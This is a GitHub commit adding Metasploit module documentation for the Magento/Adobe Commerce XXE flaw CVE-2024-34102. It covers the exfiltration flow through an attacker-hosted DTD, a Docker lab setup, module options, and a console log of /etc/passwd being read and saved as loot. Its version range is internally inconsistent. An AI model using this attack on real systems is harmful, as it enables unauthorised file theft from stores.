Skip to content

Commit 173a244

Browse files
heyderheyder
committed
Added documentation
Signed-off-by: redwaysecurity.com <[email protected]>
1 parent d89df44 commit 173a244

File tree

1 file changed

+159
-0
lines changed

1 file changed

+159
-0
lines changed

‎documentation/modules/exploit/multi/http/magento_xxe_cve_2024_34102.md

Lines changed: 159 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,159 @@
1+
## Vulnerable Application
2+
3+
### Description
4+
5+
An authenticated user can read arbritraty file from Magento Community edition version 2.4.0 to 2.4.3.
6+
The vulnerability is due to the lack of input validation in the XML file. An attacker can exploit this
7+
vulnerability by sending a specially crafted XML file to the target server. The attacker can read any file on the server.
8+
9+
On June 27, 2024, Adobe released a software update that addressed this vulnerability (CVE-2024-34102).
10+
11+
The following products are affected:
12+
13+
- Adobe Commerce: versions before: 2.4.7; 2.4.6-p5; 2.4.5-p7; 2.4.4-p8; 2.4.3-ext-7 ; 2.4.2-ext-7
14+
- Magento Open Source: versions before: 2.4.7; 2.4.6-p5; 2.4.5-p7; 2.4.4-p8
15+
- Adobe Commerce Webhooks Plugin: versions 1.2.0 to 1.4.0
16+
17+
### Exploitation
18+
19+
This module exploits the XXE vulnerability in Magento by following these steps:
20+
21+
- Creating a DTD File: This file includes entities that will read and encode `FILE`, then send it to your endpoint.
22+
23+
- Host the DTD File: Serve the dtd.xml file, accessible via HTTP `SRVHOST` on port `SRVPORT`.
24+
25+
- Craft the HTTP Request: Craft the XML payload which will include the DTD file hosted on your server.
26+
27+
- Execute a HTTP Request: Send the crafted XML payload to the target server.
28+
29+
- Capture the Exfiltrated Data: The exfiltrated data will be sent back to the attacker in a HTTP GET request and them saved in the loot.
30+
31+
32+
33+
### Setup
34+
35+
Create a `docker-compose.yml` file as below:
36+
37+
```yml
38+
version: '2'
39+
services:
40+
mariadb:
41+
image: docker.io/bitnami/mariadb:10.6
42+
environment:
43+
# ALLOW_EMPTY_PASSWORD is recommended only for development.
44+
- ALLOW_EMPTY_PASSWORD=yes
45+
- MARIADB_USER=bn_magento
46+
- MARIADB_DATABASE=bitnami_magento
47+
volumes:
48+
- 'mariadb_data:/bitnami/mariadb'
49+
magento:
50+
image: docker.io/bitnami/magento:2
51+
ports:
52+
- '80:8080'
53+
- '443:8443'
54+
environment:
55+
- MAGENTO_HOST=localhost
56+
- MAGENTO_DATABASE_HOST=mariadb
57+
- MAGENTO_DATABASE_PORT_NUMBER=3306
58+
- MAGENTO_DATABASE_USER=bn_magento
59+
- MAGENTO_DATABASE_NAME=bitnami_magento
60+
- ELASTICSEARCH_HOST=elasticsearch
61+
- ELASTICSEARCH_PORT_NUMBER=9200
62+
# ALLOW_EMPTY_PASSWORD is recommended only for development.
63+
- ALLOW_EMPTY_PASSWORD=yes
64+
volumes:
65+
- 'magento_data:/bitnami/magento'
66+
depends_on:
67+
- mariadb
68+
- elasticsearch
69+
elasticsearch:
70+
image: docker.io/bitnami/elasticsearch:7
71+
volumes:
72+
- 'elasticsearch_data:/bitnami/elasticsearch/data'
73+
volumes:
74+
mariadb_data:
75+
driver: local
76+
magento_data:
77+
driver: local
78+
elasticsearch_data:
79+
driver: local
80+
```
81+
82+
Run the below command to create the container:
83+
84+
```
85+
$ docker-compose up
86+
```
87+
88+
89+
## Verification Steps
90+
Follow [Setup](#setup) and [Scenarios](#scenarios).
91+
92+
## Options
93+
94+
### TARGETURI (required)
95+
96+
The path to the Magento (Default: `/`).
97+
98+
### SRVHOST (required)
99+
100+
The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
101+
102+
### SRVPORT (required)
103+
104+
The local port to listen on.
105+
106+
## Scenarios
107+
108+
### Docker container running Magento Community edition version 2.4
109+
110+
```
111+
Module options (exploit/multi/http/magento_xxe_cve_2024_34102):
112+
113+
Name Current Setting Required Description
114+
---- --------------- -------- -----------
115+
FILE /etc/passwd yes The file to read
116+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
117+
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
118+
RPORT 80 yes The target port (TCP)
119+
SRVHOST 192.168.128.1 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
120+
SRVPORT 8080 yes The local port to listen on.
121+
SSL false no Negotiate SSL/TLS for outgoing connections
122+
SSLCert no Path to a custom SSL certificate (default is randomly generated)
123+
TARGETURI / yes The base path to the web application
124+
URIPATH no The URI to use for this exploit (default is random)
125+
VHOST localhost no HTTP server virtual host
126+
```
127+
128+
```
129+
msf6 exploit(multi/http/magento_xxe_cve_2024_34102) >
130+
[!] AutoCheck is disabled, proceeding with exploitation
131+
[*] Using URL: http://192.168.128.1:8080/
132+
[*] Sending XXE request
133+
[*] Received request for DTD file from 192.168.144.4
134+
[+] Received file /etc/passwd content
135+
[+] File saved in: /home/redwaysecurity/.msf4/loot/20240715171929_default_127.0.0.1_etcpasswd_069426.txt
136+
137+
msf6 exploit(multi/http/magento_xxe_cve_2024_34102) > cat /home/redwaysecurity/.msf4/loot/20240715171929_default_127.0.0.1_etcpasswd_069426.txt
138+
[*] exec: cat /home/redwaysecurity/.msf4/loot/20240715171929_default_127.0.0.1_etcpasswd_069426.txt
139+
140+
root:x:0:0:root:/root:/bin/bash
141+
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
142+
bin:x:2:2:bin:/bin:/usr/sbin/nologin
143+
sys:x:3:3:sys:/dev:/usr/sbin/nologin
144+
sync:x:4:65534:sync:/bin:/bin/sync
145+
games:x:5:60:games:/usr/games:/usr/sbin/nologin
146+
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
147+
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
148+
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
149+
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
150+
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
151+
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
152+
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
153+
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
154+
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
155+
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
156+
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
157+
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
158+
msf6 exploit(multi/http/magento_xxe_cve_2024_34102) >
159+
```

0 commit comments

Comments
 (0)